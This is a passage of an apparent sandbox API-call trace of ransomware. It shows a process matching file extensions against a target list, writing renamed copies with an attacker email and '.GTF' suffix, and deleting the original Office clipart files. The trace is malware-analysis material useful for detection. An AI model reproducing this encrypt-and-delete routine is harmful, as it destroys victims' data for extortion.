	[0164.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0164.090] lstrlenW (lpString=".dbf") returned 4
	[0164.090] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0164.090] lstrlenW (lpString=".1cd") returned 4
	[0164.090] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0164.090] lstrlenW (lpString=".jpg") returned 4
	[0164.090] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0164.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0164.090] lstrlenW (lpString=".doc") returned 4
	[0164.090] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.090] lstrlenW (lpString=".docx") returned 5
	[0164.090] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0164.090] lstrlenW (lpString=".pdf") returned 4
	[0164.090] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.090] lstrlenW (lpString=".xls") returned 4
	[0164.090] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.090] lstrlenW (lpString=".xlsx") returned 5
	[0164.090] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0164.090] lstrlenW (lpString=".ppt") returned 4
	[0164.090] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0164.091] lstrlenW (lpString=".zip") returned 4
	[0164.091] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.091] lstrlenW (lpString=".rar") returned 4
	[0164.091] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.091] lstrlenW (lpString=".bz2") returned 4
	[0164.091] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.091] lstrlenW (lpString=".7z") returned 3
	[0164.091] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0164.091] lstrlenW (lpString=".dbf") returned 4
	[0164.091] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0164.091] lstrlenW (lpString=".1cd") returned 4
	[0164.091] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0164.091] lstrlenW (lpString=".jpg") returned 4
	[0164.091] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.091] lstrcmpiW (lpString1=".MID", lpString2=".GTF") returned 1
	[0164.091] lstrlenW (lpString="PAPER_01.MID") returned 12
	[0164.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0164.326] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=6763) returned 1
	[0164.326] CloseHandle (hObject=0x48c) returned 1
	[0164.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid")) returned 0x220
	[0164.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0164.341] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.341] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0164.341] GetLastError () returned 0x0
	[0164.341] ReadFile (in: hFile=0x48c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x1a6b, lpOverlapped=0x0) returned 1
	[0164.343] WriteFile (in: hFile=0x504, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x1a70, lpOverlapped=0x0) returned 1
	[0164.344] ReadFile (in: hFile=0x48c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.344] WriteFile (in: hFile=0x504, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.344] SetEndOfFile (hFile=0x504) returned 1
	[0164.344] CloseHandle (hObject=0x504) returned 1
	[0164.344] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.344] SetEndOfFile (hFile=0x48c) returned 1
	[0164.347] CloseHandle (hObject=0x48c) returned 1
	[0164.347] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0164.347] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid")) returned 1
	[0164.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0164.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0164.348] lstrlenW (lpString=".doc") returned 4
	[0164.348] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.348] lstrlenW (lpString=".docx") returned 5
	[0164.348] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0164.348] lstrlenW (lpString=".pdf") returned 4
	[0164.348] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.348] lstrlenW (lpString=".xls") returned 4
	[0164.348] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.348] lstrlenW (lpString=".xlsx") returned 5
	[0164.348] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0164.348] lstrlenW (lpString=".ppt") returned 4
	[0164.348] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0164.348] lstrlenW (lpString=".zip") returned 4
	[0164.348] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.348] lstrlenW (lpString=".rar") returned 4
	[0164.348] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.348] lstrlenW (lpString=".bz2") returned 4
	[0164.348] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.348] lstrlenW (lpString=".7z") returned 3
	[0164.348] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0164.348] lstrlenW (lpString=".dbf") returned 4
	[0164.348] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0164.349] lstrlenW (lpString=".1cd") returned 4
	[0164.349] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0164.349] lstrlenW (lpString=".jpg") returned 4
	[0164.349] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0164.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0164.349] lstrlenW (lpString=".doc") returned 4
	[0164.349] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.349] lstrlenW (lpString=".docx") returned 5
	[0164.349] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0164.349] lstrlenW (lpString=".pdf") returned 4
	[0164.349] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.349] lstrlenW (lpString=".xls") returned 4
	[0164.349] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.349] lstrlenW (lpString=".xlsx") returned 5
	[0164.349] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0164.349] lstrlenW (lpString=".ppt") returned 4
	[0164.349] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0164.349] lstrlenW (lpString=".zip") returned 4
	[0164.349] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.349] lstrlenW (lpString=".rar") returned 4
	[0164.349] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.349] lstrlenW (lpString=".bz2") returned 4
	[0164.349] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.349] lstrlenW (lpString=".7z") returned 3
	[0164.349] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0164.349] lstrlenW (lpString=".dbf") returned 4
	[0164.349] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0164.349] lstrlenW (lpString=".1cd") returned 4
	[0164.350] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0164.350] lstrlenW (lpString=".jpg") returned 4
	[0164.350] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.350] lstrcmpiW (lpString1=".MID", lpString2=".GTF") returned 1
	[0164.350] lstrlenW (lpString="PARNT_05.MID") returned 12
	[0164.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0164.350] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=6020) returned 1
	[0164.350] CloseHandle (hObject=0x48c) returned 1
	[0164.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid")) returned 0x220
	[0164.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0164.351] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.351] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0164.352] GetLastError () returned 0x0
	[0164.352] ReadFile (in: hFile=0x48c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x1784, lpOverlapped=0x0) returned 1
	[0164.353] WriteFile (in: hFile=0x504, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x1790, lpOverlapped=0x0) returned 1
	[0164.354] ReadFile (in: hFile=0x48c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.354] WriteFile (in: hFile=0x504, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.355] SetEndOfFile (hFile=0x504) returned 1
	[0164.355] CloseHandle (hObject=0x504) returned 1
	[0164.355] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.355] SetEndOfFile (hFile=0x48c) returned 1
	[0164.357] CloseHandle (hObject=0x48c) returned 1
	[0164.357] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0164.358] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid")) returned 1
	[0164.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0164.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0164.358] lstrlenW (lpString=".doc") returned 4
	[0164.358] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.358] lstrlenW (lpString=".docx") returned 5
	[0164.358] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1
	[0164.358] lstrlenW (lpString=".pdf") returned 4
	[0164.358] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.358] lstrlenW (lpString=".xls") returned 4
	[0164.358] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.358] lstrlenW (lpString=".xlsx") returned 5
	[0164.358] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1
	[0164.359] lstrlenW (lpString=".ppt") returned 4
	[0164.359] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0164.359] lstrlenW (lpString=".zip") returned 4
	[0164.359] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.359] lstrlenW (lpString=".rar") returned 4
	[0164.359] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.359] lstrlenW (lpString=".bz2") returned 4
	[0164.359] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.359] lstrlenW (lpString=".7z") returned 3
	[0164.359] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0164.359] lstrlenW (lpString=".dbf") returned 4
	[0164.359] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0164.359] lstrlenW (lpString=".1cd") returned 4
	[0164.359] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0164.359] lstrlenW (lpString=".jpg") returned 4
	[0164.359] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0164.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0164.359] lstrlenW (lpString=".doc") returned 4
	[0164.359] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.359] lstrlenW (lpString=".docx") returned 5
	[0164.359] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1
	[0164.359] lstrlenW (lpString=".pdf") returned 4
	[0164.359] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.359] lstrlenW (lpString=".xls") returned 4
	[0164.359] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.359] lstrlenW (lpString=".xlsx") returned 5
	[0164.359] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1
	[0164.359] lstrlenW (lpString=".ppt") returned 4
	[0164.359] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0164.360] lstrlenW (lpString=".zip") returned 4
	[0164.360] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.360] lstrlenW (lpString=".rar") returned 4
	[0164.360] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.360] lstrlenW (lpString=".bz2") returned 4
	[0164.360] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.360] lstrlenW (lpString=".7z") returned 3
	[0164.360] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0164.360] lstrlenW (lpString=".dbf") returned 4
	[0164.360] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0164.360] lstrlenW (lpString=".1cd") returned 4
	[0164.360] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0164.360] lstrlenW (lpString=".jpg") returned 4
	[0164.360] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.360] lstrcmpiW (lpString1=".MID", lpString2=".GTF") returned 1
	[0164.360] lstrlenW (lpString="PARNT_06.MID") returned 12
	[0164.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0164.361] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=7768) returned 1
	[0164.361] CloseHandle (hObject=0x48c) returned 1
	[0164.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid")) returned 0x220
	[0164.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0164.361] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.362] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0164.363] GetLastError () returned 0x0
	[0164.363] ReadFile (in: hFile=0x48c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x1e58, lpOverlapped=0x0) returned 1
	[0164.364] WriteFile (in: hFile=0x504, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x1e60, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x1e60, lpOverlapped=0x0) returned 1
	[0164.365] ReadFile (in: hFile=0x48c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.365] WriteFile (in: hFile=0x504, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.365] SetEndOfFile (hFile=0x504) returned 1
	[0164.366] CloseHandle (hObject=0x504) returned 1
	[0164.366] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.366] SetEndOfFile (hFile=0x48c) returned 1
	[0164.369] CloseHandle (hObject=0x48c) returned 1
	[0164.369] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0164.369] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid")) returned 1
	[0164.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0164.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0164.546] lstrlenW (lpString=".doc") returned 4
	[0164.546] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.546] lstrlenW (lpString=".docx") returned 5
	[0164.546] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1
	[0164.546] lstrlenW (lpString=".pdf") returned 4
	[0164.546] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.546] lstrlenW (lpString=".xls") returned 4
	[0164.546] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.547] lstrlenW (lpString=".xlsx") returned 5
	[0164.547] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1
	[0164.547] lstrlenW (lpString=".ppt") returned 4
	[0164.547] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0164.547] lstrlenW (lpString=".zip") returned 4
	[0164.547] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.547] lstrlenW (lpString=".rar") returned 4
	[0164.547] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.547] lstrlenW (lpString=".bz2") returned 4
	[0164.547] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
